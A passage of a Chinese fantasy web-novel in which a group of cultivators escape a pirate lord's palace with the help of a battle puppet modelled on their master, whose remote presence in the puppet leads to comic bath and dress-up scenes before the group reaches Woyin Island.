“师父不是在谢璟那边伺机而动着吗?”唐山玉觉得他们的计划很简单的,就是在混乱中把谢璟带走,而他们要操控灵舟到达宫殿的上方,接着让秦兰时带着谢璟,任海带着慕轻轻和石泽竹,一起飞到灵舟。 然后,他们就可以开着灵舟跑路了。 “但是……现在……”唐山玉语气顿了顿,便继续说下去,“那边好像出了状况。” “庄子枭好像要对谢璟强取豪夺了。”唐山玉一本正经地说出了谢璟的噩梦,随后,也不知他哪里来的帕子,就这样举着帕子擦了擦眼角处不存在的泪。 “……啊?”胡长乐听完这话,立马就大惊失色道,“那咋办!!谢哥不能被抢啊!!” “那就只能……”唐山玉深深叹了口气,他丢掉了手帕,随后转头看向那个金光闪闪的大宫殿,他双手合十,面露祈祷状,“为他祈祷了。” 胡长乐在旁边看着,瞪大了双眼,那大大的眼睛里有大大的疑惑,她就那么看着,唐山玉对着那边的大宫殿开始…“认真”地祈祷起来。 这…这真的可以那么松弛吗? 胡长乐缓缓也举起双手,学着唐山玉的样子,对着那边的黄金宫殿进行了祈祷。 希望…谢璟能够逃离大海盗魔爪。 请把我们的精神上的鼓励传递过去吧!! 传递过去了个寂寞。 谢璟只想骂粗口,他看着这个人毫不犹豫地对自己攻击起来,就知道自己没有看错人,他就是个冷血无情只会烧杀抢掠的海盗。 无数的水刃自空中落下,宛若一场在狂欢的暴雨。 他唤出了自己的剑,冲着那淋下来的水刃击去,无数水珠因为被击碎而四散而开,不知为何,在躲闪之际,谢璟看到了庄子枭嘴角边那扬起的笑意。 他……在笑什么? 还没等谢璟想完,下一刻,那些碎开的水珠突然又重新凝聚在一起,徘徊在谢璟的身边,将谢璟包围起来,利刃对准着谢璟的身躯。 伴随着一声轻佻的口哨下,庄子枭笑着动了动手指,自上而下,像极了一场傲慢审判,“美人,可能消受得起?” 那些水刃毫不留情地席卷而来,不过庄子枭的笑容渐渐消失了,而他攻击的地方空空如也,什么也没有。 与此同时,伴随着比他更为散漫的声音自空中响起,庄子枭抬起头看去,他看到了一位含笑看着他的另一个美人,而这个美人的手臂正夹着方才被他攻击的谢璟。 “哎呀~哎呀,这位公子真是不懂怜香惜玉啊~”秦兰时笑眯眯地晃了晃手里的谢璟,很是无奈地道,“莫不是,这就是传说中的得不到就要毁掉?” “这位美人倒是现在十分合我的口味呢~怎么样,要不你也留下来陪陪我?”庄子枭也跟着笑起来了,他周身的水珠再次凝聚成利刃,铺天盖地朝着秦兰时和谢璟所在处袭来。 “抱歉,我家里有人了~做不到呢~”秦兰时说着,很是自信地秀了一波恩爱,顺便又晃了晃几下谢璟,“哎呀,我忘记了,你是不是没有家室呀,真是抱歉啊,我不知道呢~” 明明不是敌人却被中伤的谢璟:…… 他对此选择沉默以对。 庄子枭闻言倒也不恼,他环抱双臂哼了一声,“这样啊,那可真是太不妙了,这样你的弱点可太明显了~” “凭借你的修为,你本可以一走了之,可你却为了他身入险境,该说不说,还真是伉俪情深啊~” 秦兰时:…… 谢璟:…… 等等,这话好像有点不太对劲? “行吧,我也不说什么了,你们来这里的目的,我要是猜得不错是为了藏宝图,我想你们应该是拿到了另一半藏宝图吧?”庄子枭摆了摆手,唤那只狮子来到自己的跟前,他抬手抚平狮子有些乱糟糟的毛发。 “不过嘛,非常可惜,那东西是个假货,真货嘛,它或许还留在传说里呢。”庄子枭说着,又稍作思考了一下,“不过,由于你们并不是那些背叛我的人,所以你们要不要加入我?我很欢迎哦?” 虽说是加入,但是庄子枭的眼神却是落在了秦兰时的身上。 “放心好了,如果你成为了我的下属,我是不会动你的小景景的~” “……等一下!你误会了什么!!”秦兰时终于发现方才那些话到底有什么不对劲的地方了,“他!才不是我道侣!!不信的话,我现在就把他丢下去给你!!” 谢璟:? 说那时,那时快,谢璟对变态的抗拒占了上风,他直接抱住了秦兰时的那只手臂,“秦师叔,有话好好说。” 秦兰时:…? “你,你干嘛!松开!!”秦兰时大惊失色,就想要把人给晃出去,但是却被谢璟死死抱住了。 “秦师叔,这个真的不行。”谢璟黑着一张脸并且死死抱住了那只手臂,宛若溺水人抓住的稻草。 “…哇哦,如漆似胶啊~”庄子枭还在下边输出着,狠狠地撕碎秦兰时方才的好心情。 “杀了你……”秦兰时见谢璟扒拉不下来,那就只能选择让某个煽风点火的人闭嘴了。 “哇哦,那你来啊~”庄子枭听到这话,更兴奋了。 就在这战况要一触即发的时候,热浪自打开的大门处扑面而来,一位下属急急来报,“大人,宫殿里突然起了火,火势已经蔓延到了这里!!” “嗯?其他人呢?火势这样大,都不知道去扑灭的吗?”庄子枭一副养你们是干什么吃的表情,而下属也因为他这番话面露愧色。 “抱歉,大人,他们都被打晕了,与此同时,您之前让的……那位他……”下属也不管这里有什么人了,情况紧急,最好直接说了比较好。 “他?他怎么了?他怎么还没走?”庄子枭闻言一愣。 “他被人打了。”下属对此面露悲切。 “…哈?” 那个人的确被打了,甚至还是被群殴,如果是那石泽竹和慕轻轻,他早就跑了,可是任海…… 他狠狠地瞪了任海一眼,心里也在对庄子枭进行了痛骂,好端端的怎么还多出几个坏事情的家伙在,他这个大海盗怎么做的!! “任前辈好厉害啊~”慕轻轻还在给人加油呢,甚至还特别积极地挥舞手里的绸带。 任海挥拳的速度也越快,那拳头擦着那人的脸而过,那脸上的伪装也因此被打掉了不少,而任海似乎耐心耗尽,只见他于另一只拳头上凝聚不少灵力,就那么一鼓作气地打在这个人的脸上。 刹那间,这个人的伪装被打碎了。 而慕轻轻也因此得以见到这个人的真容,但是几乎是一瞬间的事,她的脸色突然变得阴沉了起来,像是看到了什么不该出现的东西一样。 “……龙族?” 第189章 秘密武器 这是一位慕轻轻不认识的龙族,龙族虽少,因为龙血之珍贵,普通的种族极其难承受龙血里的力量,混血更是稀少中的稀少了。 而慕轻轻看到的这一位,如果她感应没有错的话,应该是一条混血龙,这种混血龙在龙族里虽然不算很受欢迎,但是也不会过得很糟糕。 因为龙血里的力量足以让他强大。 但是这些目前都不重要,重要的是,他一个龙族为什么会偷偷摸摸地躲在海盗的房间里头。 “你在这里做什么?”联想到之前庄子枭与龙族恐有什么那番话后,慕轻轻不由得问出了声,她的语气很是不善,“你是哪一派的?是大皇子,还是二皇女?” “总不能是那几个吧?他们看上去也不像能成事啊?”慕轻轻越说越急,她阴暗地走过来,再也不旁观吃瓜了,毕竟火烧到自己身上了,再吃瓜那就真的只能一辈子吃瓜了。 这个混血龙显然也因为慕轻轻这个举动猛地往后退了几步,看得出来,他想逃,不过因为在旁边虎视眈眈的任海,他愣是跑不了一点。 “……”面对慕轻轻的问题,他选择沉默,只要不说话,就不会泄露什么,而他本龙的面部表情管理也很好,压根看不出冷漠的他到底在想些什么。 “轻轻,既然你那么在意的话,那我们就把他带回去吧。”石泽竹看了这个混血龙一眼,这样提议道,“山玉让我们速战速决来着。” “…说的也是,这些问题现在问是得不到回复的,倒是我疏忽了。”慕轻轻拿出了捆仙绳,她扯了扯绳子,看看这个结不结实,确认结实后就喊任海过去把这个家伙按住。 还没等任海走过去呢,突地地面发出一阵剧烈的抖动,只见上边的屋顶被人掀开,而他们几人就这样暴露在了漂浮在空中的庄子枭的眼底。 而秦兰时带着谢璟紧跟其后,由于庄子枭下属的阻拦,再加上手里的谢璟,他并不能阻止庄子枭的这般动作。 所以他就那么眼睁睁地看着庄子枭毫不犹豫地掀起自己的黄金宫屋顶,然后准确无误地找到了在里头的那几人。 怎么办?现在要逃的话,好像是有点困难了,还是先不要喊山玉他们把灵舟开过来吧。 “嗯……虽然我的确有邀请你们来我的宴会,不过你们是不是庆祝太过头了……这里,再怎么说,都是我的地盘。”庄子枭有些无奈地扶额,与此同时,其他人都能感受到四周聚起来的灵力威压,是来自不同人的。 “…你的地盘?据我所知,凡是在龙族管辖的海域内,岛屿的所有权都是归龙族所有,你又是怎么弄到那么一块岛屿当地盘的?”慕轻轻闻言抬起头,就那么直直地看了过来。 “哦?你……”庄子枭听到这话,便顺着声音看过去,他认真看了看,没有认出什么,随后便笑道,“那又如何?这是你应该知道的事情吗?” “……”慕轻轻很想说什么,但是唯恐暴露了身份,影响到后边的事情,毕竟她对现在情况不是很了解,暴露了,那就是明晃晃地站在太阳下,对于隐藏在暗处的家伙,那就难以捕捉了。 “…不要再聊天了。”混血龙咳了好几口血,抬眼看过来,“现在这种情况,你应该把他们抓起来,庄大人。” “有人认出了我的身份,我怀疑这个人应该和龙族有点关系。”不然哪会那么肯定地说他是龙族,再加上他明明是混血龙,身上除了的龙血,还留着其他妖族血,而他也是为了避免被发现,用其他妖气包裹全身的。 “哦?认出来了,那看来的确需要好好关起来问一下了。”庄子枭也是想到了这个关节,他没有想到来的客人这般大展身手,个个都让他如此地刮目相看啊。 “那么,就这个小姑娘留活口吧,不管你们用什么法子……”庄子枭闪身躲过从背后偷袭而来的秦兰时,这剑擦着他的腰身而过,剑气也不容小觑地冲他命门攻击过来。 庄子枭在躲过这一剑后,就拿出自己的刀,刀上装饰了不少华丽的珠宝,而他毫不留情地用这把刀接住了秦兰时的剑,“全杀了就好了。” “…你还真是不怜惜这刀啊?”秦兰时看着上面被自己击碎的珠宝,顿时肉痛一秒。 “那是穷人的做法,我可是有钱人,穷鬼。”许是得知秦兰时等人不会妥协于他,庄子枭的语气也开始不客气起来了,面对能够打赢的人,语气上能有多嚣张就有多嚣张。 “…有钱又怎么样?今天这宴会是被你用来清洗叛徒的,看来你好像经常被背叛,是因为你张嘴吗?”秦兰时被扎到了痛处,他也开始扎起了对方的痛处。 不过庄子枭对此没什么感觉,毕竟他这个人最要紧的还是自己,自私自利的人活得就是开心,“虽然有些可惜,但是背叛我的人没必要活着不是吗?” “……”果然不能破防吗?秦兰时觉得这种什么都不管不顾的人是真的无懈可击,至少你说什么对方都不在乎,这让人在嘴皮子上占不了上风。 另一边,周围人都冲着慕轻轻和石泽竹俩人攻击而去,估计是他们都喜欢挑软柿子捏的缘故,任海那边他们就派了几个不怕死的在极限拉扯。 “该死,人越来越多了,山玉他们怎么还没来。”慕轻轻一个鞭子捆住一个后,又抬起手对着后边扑上来的家伙刺了好几个冰刺。 “不知道,先打。”石泽竹虽然不知道怎么办,但是眼下这种情况,打架就对了,只见他一拳一个,但是奈何这修仙的刀剑是能够刺破修仙的铁躯的,所以他的身上不可避免地落下不少伤痕。 而在这个剧烈的战局下,谢璟不知道什么时候不见了,等庄子枭发觉的时候,四周散播着流动的丝线,这线于火焰的流光里闪烁着。 “我们本意不是和你们死战到底。”谢璟将那线缠绕在自己的手上,随后手指收紧,顿时,四周浮动的线猛地绷紧,将周围还在动的人都捆住。 “这是……鲛人丝??”鲛人丝是鲛人盛产的丝绸,不怕火,材质偏软,但是不易断,非要说,就是因为太软了,才不容易断裂开来。 “你哪里有那么多鲛人丝??你们不都是穷鬼吗!!” 这一声落下,把秦兰时给气得战中给人比了个中指,庄子枭看到这个中指,再结合秦兰时的面部表情,想也知道这不是什么好意思。 “送的。”谢璟回了一句,而下一刻,周围的光突然暗淡起来,似有巨物徘徊于空中,他抬起头,看到了熟悉的灵舟。 头一次那么想念这个灵舟。 这是大伙们心里的统一的想法。 而在上方,胡长乐正在开灵舟,而唐山玉正在对秘密武器敲敲打打,他觉得应该可以了,就将那秘密武器自空中抛下去。 那秘密武器似是一个人型,它于人们的视野里逐渐地放大又放大,待看清这个武器的面貌后,谢璟猛地瞪大了双眼,刹那间,周围被熟悉的灵气所包围。 那原是一个顾延清模样的人偶,而他则被人给启动了,手上拿着剑,剑上的剑气是熟悉的强悍。 这是顾延清给他们的众多法宝里的一件,名为战斗傀儡,这个傀儡被顾延清留存了他的不少剑气,还留下一抹神魂。 “若是遇到了兰时打不过的情况,便将它丢过去吧。”顾延清那么说着,就指了指这个傀儡,“咳,容貌可以自定,没必要用我的脸。” “不,就用顾师伯的吧,这个非常有安全感。”唐山玉觉得这样就很好,不过这个傀儡他没有拿出来给谢璟看,他怕人天天搁这里睹目思人,连饭都不吃。 更怕的是,唐山玉担心这个傀儡会被谢璟搬到床上,来当个替身玩。 如果被谢璟知道唐山玉的内心戏,他绝对会怒气冲冲地说,“在你眼里,我就是这样龌龊的人吗?” 而借助秦兰时瞅一眼原书内容的唐山玉认真则会点了点头,“对,你就是。” 而且还是个超级顶级恋爱脑!! 而接下来,俩人估计又会打在一块儿。 所以谢璟是第一次看到这个秘密武器的样子,而他也因此呆住了,这顶着师父的脸挥剑杀敌的样子好有那种冲击力,可能,这就是唐山玉所说的安全感吧。 …… 最后,在顾延清傀儡的帮助下,众人成功脱身离开,庄子枭迫于顾延清傀儡那强大威力,眼睁睁地看着他们远离自己而去,他的模样像极了重新恋爱后却被抛弃的小寡夫。 “……秦师叔,这个傀儡,可以关了吗?”谢璟回来后不久,就发现走到哪里就被顾延清傀儡跟到哪里,就这样多了个小尾巴,这让他总有一种怪异感。 “我看看啊……”秦兰时闻言就站在这个顾延清傀儡身侧认真看了看,“可能是那些人不够他打,导致他的灵力处于刚刚被激发,又没有耗尽的情况。” “……所以?”谢璟等待着秦兰时的下文。 “如果要关掉的话,可能会有点浪费哎,毕竟这个傀儡发动一次就损耗不少灵力,可它现在又没耗完,你看我家山玉,因为发动这个,整个人都虚了。”秦兰时在谢璟面前举起了他家那摊成猫猫饼的唐山玉。 谢璟:…… 也行吧。 不能浪费实属是每个抠门人不能容忍的事情。 “估计是你身上有着顾延清那家伙给的法宝缘故,所以他当你是主人了,所以才一直跟着你的,反正你也不亏嘛……” 话还没说完,谢璟就转身走了,丝毫不客气地回房间去换回自己的衣服,甚至特地把顾延清傀儡给锁外边,可在他脱去上衣的下一秒,那傀儡就强硬地拧断了房间门把,走了进来。 谢璟:……? 有必要跟得那么紧吗? 第190章 等等 在战斗傀儡被启动的那一瞬间,远在随清宗的顾延清就感应到了,毕竟那傀儡上有他的一抹神魂。 既然启动了傀儡,那么他们一定是遇到了极为紧急的情况吧? 这样想着,顾延清就放下了手里的卷轴,开始连接起那抹留在傀儡里的神魂,映入眼里的,先是急切的风和一片陌生的地方。 刺眼的火焰在底下燃烧,在快速下坠的时候,顾延清能够看到底下的情况,此地方才应当是经历了一番大战,四周倒下了不少人。 那么他们随清宗的弟子在哪里?阿璟呢?还有兰时呢?到底是遇到了什么事情需要启动战斗傀儡? 他们已经好些天没有往宗门里传信了,所幸大家的命灯都还亮着。 希望不要出事…… 一眼扫过,穿着舞娘服的谢璟就那么映入了他的眼帘。 顾延清:…………………… 战斗傀儡的剑依旧在挥动着,对于它来说,这些扑上来的家伙都很好斩杀,但是这些都不是重点,重点是为什么阿璟会穿着这样的衣服站在这里。 这些天到底都发生了什么!! 那边的谢璟还在拿着剑在打架,突然,他感觉到一股不怀好意的邪风刮了过来,转头一看,他发现是不知道什么时候偷袭过来的庄子枭。 剑挡住了刀的进攻,顺便还得了一句,“没想到小景景的剑术还挺厉害嘛~” 还没等谢璟回击过去,一道剑气横扫而过,直直的打在了庄子枭身上,虽然庄子枭挥刀格挡,可下一秒,庄子枭因为刚不过这剑气飞了出去。 不过也没有飞多远,在庄子枭稳住身形后,就看到谢璟身前站了个战斗傀儡,这个战斗傀儡的实力不容小觑,也不知道是哪位大能制造出来的。 “啧,难怪你们有恃无恐……”庄子枭很是无奈地摆了摆手,“行吧,你们可以走,但是别把那个龙族带走。” “虽然我们打不过这个傀儡,但是,你们要知道,这只是个傀儡,等它灵力耗尽后也不过是一块死物罢了。”庄子枭半眯起眼睛,笑道,“我想,你们应该能够明白我的意思。” “……呵。”谢璟虽然也觉得这个人说得很有道理,不过嘴皮子上的功夫不能就此让步,“那又……” 还没等他说完,身边的顾延清傀儡就那么举着剑打了上去,庄子枭猝不及防地躲开了。 “不是,我不是都说了让你们走了吗?你们怎么还打,真想把我整个海盗团端了,然后成为新的大海盗吗?”庄子枭闪过去后,就转头看了过来,他的语气里头蕴含无限的不解。 “……不是我操控的。”谢璟沉默了一下,摇头。 “…也不是我。”因为休战的缘故,秦兰时也跟着回了一句。 慕轻轻和石泽竹露出了难不成还能是我们吗的神情,他们俩眼睛瞪得大大的,尽显清澈。 任海自是不用说了,他看了这边一眼,只是淡淡摇了个头,就没有说什么了。 “也不是我们啊!!我在操控灵舟哪有空管傀儡,而唐哥因为输送灵力早就已经躺了啊!!”灵舟上的胡长乐为了唐山玉的清白大声叫唤着,还用上了灵力传播,让大伙们都能听个清清楚楚。 “…可能,它只是单纯想打你?“重新回到这里,谢璟和庄子枭面面相觑一会后,就一脸无所谓地开口道。 “哈?”庄子枭不解,但是他选择休战,反正他该干的事情早就干完了,虽然是想灭口,但是看到对方有这般厉害的傀儡,可见身后的势力不容小觑,能不撕破脸就不撕破脸吧。 庄子枭现在可没有做好被一个怪物追杀的准备,等他做好了再说。 “那么,小景……”还没等他说完,顾延清傀儡上前一步又给了他一剑。 庄子枭:? “…好了好了,我们走吧。”谢璟走上前去,拽住了顾延清傀儡的衣角,将人往后边拉了拉。 他可不想穿着这样的衣服待那么久,除了他,大家都换回去了,他压根不想这样鹤立鸡群。 这顾延清傀儡倒也乖巧,真的就这样不动了,随后他们就这样回到了灵舟上,顶着庄子枭那仿佛被抛弃的目光决然离去。 实际上,在刚才的全过程里,顾延清脑子徘徊的都是那一句:小景景小景景小景景…… 最后,等顾延清回过神来后,他发现情况变成了这个战斗傀儡推开谢璟的房间门,趁着谢璟脱衣服的时候走了进去,这让本来就呆的顾延清思维更呆了。 “…跟那么紧?这傀儡就没有距离感吗?”谢璟将那上衣丢到一旁,走过去,凑过来仔细看了看,顾延清很想后退,但是战斗傀儡不动如山,因为就一抹神魂,距离又远,顾延清并不能彻底控制这个傀儡的行动。 此时谢璟凑得很近,顾延清能够看清他此时此刻的模样,这种感觉和往日不同,垂落的发丝刮动着傀儡的身上,轻轻的,没有丝毫感觉。 “嗯……”谢璟继续盯着看。 就在这时,谢璟的房间门被人推开来,只听见一道虚得不行的声音在外头响起,“谢璟啊——” 谢璟转过头,发现是唐山玉,此时的唐山玉正扶着门框,脸上散发着我很虚的表情,然后发出热情的邀请,“要一起洗个热水澡吗?咱们的大澡堂还挺大的噻~” “……你当我傻吗?”谢璟的神情顿时黑了下来。 这种澡只有石泽竹那个傻大个会傻乎乎地去吧? “我才不要和你们一起洗。”谢璟毫不犹豫地拒绝了。 “这样啊,那今天那么劳累,要舒舒服服泡个澡吗?”唐山玉依靠在门框上,笑道,“热水烧挺多的的,你拿一桶走呗?” “嗯…也不是不行……”谢璟沉默了一下,觉得这几天的情绪实属得不到缓解,“还有…我那么累都是为了谁啊?” “为了我们的大业,好了好了,知道我们谢璟嘴硬心软了。”唐山玉拍了拍谢璟的肩膀,对人比了个耶,随后他把视线落在了后边的傀儡顾延清身上,“对了,难得的机会,你要不要……” “什么要不要?”谢璟闻言皱起了眉头。 只见唐山玉走过来,戳了戳顾延清傀儡,用那种谜语人的语气继续往下说去,“就是,那个,那个啊,你之前不是很想那么干了吗?你看这里有个水灵灵的顾延清哎!” “……不要直呼我师父的名字。”谢璟拍开了唐山玉摸在顾延清傀儡上的手,“但是,你的意思是,那个……?” “对,就是那个!”唐山玉的意味不明地看了一眼顾延清傀儡,“大好的机会啊,不是吗?” “…说得也是。”谢璟也突然严肃了起来,仿佛他们俩说的那个是什么大事一样。 而在傀儡体内的顾延清先从方才的惊吓回过神来后,又看到走进来的唐山玉邀请谢璟一起洗澡的画面,接着俩人又开始说起了那个。 那个……到底是什么? 好像还和他有点关系。 …莫不是什么小秘密,他要不要现在就离开比较好? 他可不是那种随意窥探徒弟秘密的师父,这样太过为师不尊。 好,决定了,他现在就走。 …… 顾延清没走。 在谢璟送走唐山玉后,就重新关上门,不过门锁坏了,于是他选择后边带热水回来后再画了道门禁符贴上去,就这样,他披了件外袍出去,又带了桶热水回来,接着,他看向了不为所动的顾延清傀儡。 “对了……”谢璟对顾延清傀儡伸出手,开始给顾延清傀儡脱去衣服,“正好,顺便一起洗了吧。” 顾延清:…… 等等! 第191章 顾延清,你…… 战斗傀儡,顾名思义就是战斗用的,它们的身躯都无比坚硬,正因为是战斗用的,所以它们是战斗傀儡,没必要有的东西是不会有的。 也因此,谢璟看了看这个被他脱得干干净净的顾延清傀儡,心里丝毫没有欲望,因为傀儡就是傀儡啊,战斗傀儡为什么要弄得那么逼真呢。 又不是合欢宗出品的傀儡。 战斗傀儡就是战斗傀儡啊,战斗傀儡是不会变成合欢宗傀儡。 总之,他带着战斗傀儡一起泡起了澡,热气笼罩在俩人之间,许是因为战斗傀儡长着顾延清的脸,所以谢璟拿出毛巾给这个傀儡擦起了身子,他就像对待爱剑一样小心翼翼。 “这样应该差不多了。”谢璟那么看着,随后放下毛巾,将自己垂下的滴水发丝往上撩起,靠在浴桶边上,呼出一口气。 此时此刻,顾延清虽然没有感觉,但是视觉上传达的感觉过于清晰了,他都不知道看哪里了。 热气朦胧,在这片白茫茫的里,谢璟的身形在对面那头若隐若现,只见谢璟半眯着眼,头部上下摆动着,一副要睡过去的模样,或许在这种温暖又安全的气息下,他有些困了。 …好安静啊。 顾延清没有说话,虽然他也说不出来,他只是附身傀儡,又不是分身出逃,总之,他的视线缓缓移动到对面的谢璟身上,虽然不是没有见过,可此时的谢璟…… 怎么说呢,给人的感觉多了点平和。 …看来这次的游历,阿璟应该过得还算不错……嗯,他应该很开心。 那么一想,顾延清的心情也好了不少,今天的事情发生太多了,顾延清并不能理清楚到底发生了什么,但是至少,他们是遇到了麻烦才使用这个战斗傀儡的。 ……那个麻烦。 顾延清的思维停顿了一下,随后又看起了在对面的谢璟,这一看,他才发现原来人在迷迷糊糊间睡过去了。 睡…睡过去了? 顾延清愣了一下,随后他看到谢璟的头往旁边一歪,眼看着就要倒在热水里了,他连忙操控着傀儡上前一步,扶住了谢璟那要倒下的脑袋。 对方发丝因沾水而紧贴在手上,周围是白茫茫的雾气,不知为何,顾延清想起了那个梦,那场风雪里,谢璟也是这样贴在自己的手上,那般轻松又愉快的神情让人心情很好,而阿璟就那么对自己温柔地笑着,温暖无比。 而接下来的梦境是…… 是…… 顾延清微微移动着视线,落在了谢璟的唇上,接着,他心虚地移开了视线,还没等他想出个什么所以然来,突然,一道强烈的视线落在了自己的身上。 嗯? 顾延清看了过去,发现是不知道什么时候睁开眼的谢璟,谢璟就那么看着他,一动不动的,仿佛在看什么出神。 “…这战斗傀儡还有这种功能吗?”谢璟轻轻握住顾延清的手腕,这手腕之前冰冷无比,而现在因为泡了温水而有了些许人的温度。 战斗傀儡没有,但是顾延清有。 顾延清自然是安安静静的,因为他也开不了口,不过他有些紧张地看着谢璟的下一步动作。 谢璟先是握住手腕,稍微圈住它,按了几下,后来发现手感不好就松开了,接着他又抬起头,伸手去勾住顾延清垂下来的发丝。 “…手感一般,也是,毕竟你只是个傀儡。”哪能比真人的手感好呢。 这样想着,谢璟就那么站了起来,唰的一下,顾延清想要转头,但是有点晚了,清水出芙蓉,雾气蒙蒙但不瞎。 顾延清:…… 还没等顾延清回过神来,谢璟就在浴桶里将他打横抱起,滴答滴答的水珠滴落在地板上。 只见谢璟用大毛巾包住了他,认真地给顾延清擦着身子,擦得很细致,但是……他没穿。 顾延清木着一张脸享受这一切,幸好,他只是附身傀儡,不会脸红。 而现实里的顾延清已经放下卷轴,用手撑住脸,通红的耳朵已经出卖了他,手上的笔因为迟迟不落下,滴落的墨水在洁白的纸上染上了一层墨晕。 总之,谢璟在给人擦好后,就转身拿起自己的衣服套上,不过套完后,顾延清傀儡依旧光溜溜的,对,这次是顾延清傀儡没穿。 “…该做那个了。”谢璟握住顾延清傀儡的肩膀,一脸正色地道。 ……对,他是想知道那个是什么才留下来的。 所以,那个到底是…… 嗯? 还没等顾延清想起什么,就被谢璟推倒在了床上,谢璟支起着半边的身子,就那么低头看着他。 那种被安静凝视的感觉又来了。 那个到底,到底是…… 随着谢璟越来越近的面孔,顾延清不由得瞪大了双眼,许是紧张的,又或许在等待什么,而在随清宗的顾延清则是默默抚上自己的胸口处,感受着那里头的跳动。 怦…怦… …… “果然和我想得一样好看。”谢璟拍了拍手,满意地看着自己的杰作,此时此刻,顾延清傀儡被人换了一身衣服,头发也被人高高扎起。 他整个傀儡看上去特别有少年味。 “早就想过师父要是这样打扮是什么样子了。”谢璟再次凑近过来,给顾延清傀儡整理发丝,他心情很好,再加上泡了澡,压抑的情绪也得到了舒缓。 一边打扮着,谢璟一边用留影石将这个记录下来,他满脸写着玩奇迹顾延清的兴奋,接着,他又拿起了另一件衣服。 “这次是书生风格的……” 顾延清傀儡安静如鸡,不动如山,任由着谢璟打扮着。 …… 与此同时,随清宗那边的顾延清坐在椅子上,沉默着,他的神情和往日一样面无表情,但是不知道为何,多了几分木然和…惭愧。 “大师兄,我来……”宋鸠打开了顾延清的房门,还没说什么,就被里头的气息给吓得后退了一步,他还是头一次看到散发着颓靡气息的顾延清。 “你……你怎么了?”宋鸠声音放轻了不少,他小心翼翼地走了几步,然后就不敢往前走了。 “……师弟。”顾延清抬起头,满脸写着我是个垃圾的表情,“我不是个好师父……” “什么?” “我真该死啊……”顾延清缓缓闭上眼。 宋鸠:??? “大师兄!大师兄!你怎么了!你不要学秦师兄啊啊啊啊啊啊!!”宋鸠大惊失色,走上前去,摇晃着不知道为什么开始发白的顾延清。 “无碍……”顾延清吐露着虚弱话语,他觉得自己真是个糟透了的师父,他方才都在想什么……顾延清,你真是为师不尊。 总之,第二日,谢璟心情很好地起床了,他打开房间门往灵舟上的食堂走去,而唐山玉也早早地坐在那边等着早饭。 唐山玉看到谢璟来了后就冲他招了招手,示意谢璟坐过来,而谢璟难得什么话都不说坐过去了,唐山玉一看他这个模样,自然明白他肯定是做了那个了。 “爽了?”唐山玉笑了笑,此时阳光很好,天气也非常棒,和此时此刻的心情很搭配。 “…还不错。”谢璟难得承认自己开心了,只见他端起桌上的茶水送入自己的口中,“…不过,昨晚那傀儡就已经耗完灵力了。” 耗完灵力后,傀儡就不会动了,也不能让傀儡摆一堆姿势了。 “……想再玩自己输灵力。”唐山玉缓缓挪动着椅子后退了一步。 “…切。”谢璟又喝了一口茶,心情很好地享受着今天这灿烂的阳光。 总之,他们又再度启程了,从阳光灿烂的今天开始。 第192章 卧吟岛 卧吟海中有龙,龙傲游于深海,鲛人于明月下歌唱,海浪拍打着洁白的沙,一晃一晃的五光水母仿佛要将人们带往那份彩色的梦。 风吹动着女人的长发,夜间,她的眼睛亮如星辰,她张开双臂,感受着来自这海上的咸风。 “睡不着吗?” 这一声问候让慕轻轻转过头来,她看着走过来的人,露出了一丝温柔的笑意,坦荡地承认了:“是,有点睡不着。” “需要我给你弹琴吗?”那道声音还在继续,听到这话的慕轻轻偏过头去,看向那一望无际的大海。 “不用了,你的琴音不算好听。”慕轻轻半眯着眼,像在回忆什么,“乐声虽然连贯,但是……嗯,你缺乏一些东西。” “哦?缺什么?”唐山玉托着下巴,撑在船的栏杆上,“我自认为我弹得应该还算入耳。” “呵,因为你的自信,所以你的琴音非常连贯,但是因为你的技巧,所以这琴音过于杂乱,压根听不懂你在弹什么。”慕轻轻笑了一声,像极了音乐生对音痴的冷嘲热讽。 “其实你可以文雅点说,比如,我的琴音有着自由的味道。”唐山玉觉得自己弹得也不是很差,所以他试图反驳一下对方。 “确定不是让你更为自满?”慕轻轻说完后就没有再继续这个话题了,“说起来,那么晚来找我,不怕你的师父吃醋吗?” “…他睡着了。”唐山玉认真回忆了一下,又在记忆里确认了好几遍后才回答她。 “…我还好啦,你不用担心我,很快就到我家了,到时候请你们去吃好吃的~”慕轻轻的语调上扬着,和往常一样带着愉悦的味道。 “…好吧,如果有什么麻烦记得说,我们好歹是伙伴,不是吗?”唐山玉见人不愿意多说,就耸了耸肩,“深夜凉,虽然你作为龙族可能不会感冒,不过还是早点睡吧。” “哇~你人真好~”慕轻轻听到后就笑开了花。 唐山玉没回,而是往回去的方向抬脚走去,就在他要关上门回去船内的时候,慕轻轻的声音自那边慢悠悠地响起: “放心好了,不会有事的。” …… 卧吟海上的中央岛屿名字叫做卧吟岛,因海而得此名,岛上的一切都热闹非凡,许是因为这是海上的重要岛屿之一,类似于人类的城镇。 这里除了海族妖族外,也有不少人类修士混入其中采买货物,毕竟海上的东西又贵又稀奇,没什么钱就是去看看然后长长见识。 “来看看哪,来看看!!这是今天最新品,彩色珊瑚!!蓝月珍珠!!” “我们这里有最美味的海怪拌面,来看看吧!来看看吧!包你们满意!!” “我们这里有深海蓝冻,吃一口,让你体验大海的味道~” 石泽竹和胡长乐已经露出了兴奋的表情,他们看上去无比激动,如果没有唐山玉拦着,估计就已经像脱绳的牛,猛猛地进入人群里耕地了。 “哇!那个,那个五彩珊瑚好好看!”胡长乐兴奋地指着那个珊瑚,其他人抬头看去,那五彩珊瑚散发出的光芒的确五彩又靓丽。 “哦,那个啊,其实是涂了五彩荧光颜料的普通珊瑚啦。”慕轻轻看一眼,就特别贴心地给胡长乐解答道。 “那个,那个深海蓝冻看上去弹弹的,好像很好吃!!”石泽竹早就看上那边摇摇晃晃的深海蓝冻了,感觉一口就能吃掉了。 “啊,这个啊,其实就是普通把海水凝结在一块,加入一些特殊海草混合出来的玩意儿,你要是想,我可以给你弄一个。”慕轻轻贴心地没有说这是自己小时候玩的泥巴之一。 俩人得到解答后,纷纷低下头,很是沮丧。 “…好啦,可能是因为这里不是中央区域,所以买的东西造假的很多,往里面走应该就有不少更有意思的东西了。”唐山玉走上前去,拍拍这个肩膀,摸摸那个脑袋,很是慈祥地看着他们。 “山玉说得没错,重头戏在里面呢,外边的东西真的只能算是骗骗那些外来的。” 把视线从五彩珊瑚收回来的秦兰时认真地点了点头,“轻轻说得没错,我们怎么往里面走呢?” “是啊,这岛屿倒也奇特,中间最高的建筑物就是你们的龙族宫殿吧,往外就有一座高高的城墙围着,我看了看,这城墙好像分为三个区域呢。”唐山玉看了看这里的结构,那么说着。 